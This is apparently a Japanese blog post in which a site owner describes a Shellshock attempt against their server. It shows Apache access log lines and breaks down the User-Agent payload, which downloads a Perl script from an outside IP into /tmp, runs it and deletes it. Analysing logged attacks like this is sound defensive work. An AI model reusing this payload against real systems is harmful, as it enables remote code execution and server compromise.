contents
- またまた海外からの攻撃です ⇦今ここ
- UAでRewriteさせる
またまた海外から攻撃がありました。
今度はフランスから。
SOOOTAのこのサイトだけでも結構きているところからみると他と同じようにブログを展開しているサイトさんにもきているということなのだろうか。
もう！いい加減にしてほしい…
今回はshellshockでした。
apacheのaccesslogを見て見ると、
46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/upload.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/upload.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/upload.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:27 +0900] “GET /cgi-bin/welcome.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/status.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:28 +0900] “GET /cgi-bin/uptime.cgi HTTP/1.1” 403 220 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:33 +0900] “GET /cgi-bin/contact.cgi HTTP/1.1” 403 221 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:39 +0900] “GET /cgi-bin/hello.cgi HTTP/1.1” 403 219 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”access_log-20170129:46.105.123.22 – – [23/Jan/2017:22:04:40 +0900] “GET /cgi-bin/php HTTP/1.1” 403 213 “-” “() { :;};/usr/bin/perl -e ‘print \”Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
数秒でこんな感じにアクセスが残ってました。
ここでshellshockについてですが、こちらに詳細が載っています。（IPAのサイトです。）
早い話がbashの脆弱性によりシェルコマンドが自由に実行できますということです。
これはかなり危険ですね。
今回のケースで言うとUAを改造して攻撃をしてきています。
以下がUAに書かれていたものです。
() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\");'
パッと見た感じでは、wget、curlで取得したものを/tmp配下にｔｘｔファイルに出力し、perlで実行させる。
最後にtxtファイルを削除して、痕跡を消すということをしてそうですね。
HTTPステータスコードが403を返しているため、サーバへは入られていないですが、200を返していたら・・・ゾッとします。
せっかくなので、何をしているか一つ一つバラしてみてみましょう。
() { :;};
shellshockそのものです。
これを定義することで後続の処理も実行されてしまうようになります。
/usr/bin/perl -e
-e以降の文字列をスクリプトとして実行する。
つまりprintから全部後ろをスクリプトとして実行する。
print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\"
Content-Typeは扱うファイルの種類を表しています。
それがすぐ後ろにあるtext/plain（ファイルの種類（メイン）/ファイルの種類（サブ））で構成されています。
text/plainで表示した後に\\r\\n\\r\\nXSUCCESS!を使って、通信に成功したらXSUCCESS!を返すようにしてます。
ちなみに\\r\\n\\r\\nはCRLFの改行コードです。
system(\”wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\”);'”
最後はsystemですが、これはperlの関数になります。
system()を使うことでシェルを直接実行することができます。
なので、ここからはシェルのコマンドそのものです。
悪意ありすぎですね。
次回はapacheでUAをキーとしてrewriteを設定します。
新着情報
ブログランキングに参加しています。クリックして応援していただけると嬉しいです。
人気ブログランキング
にほんブログ村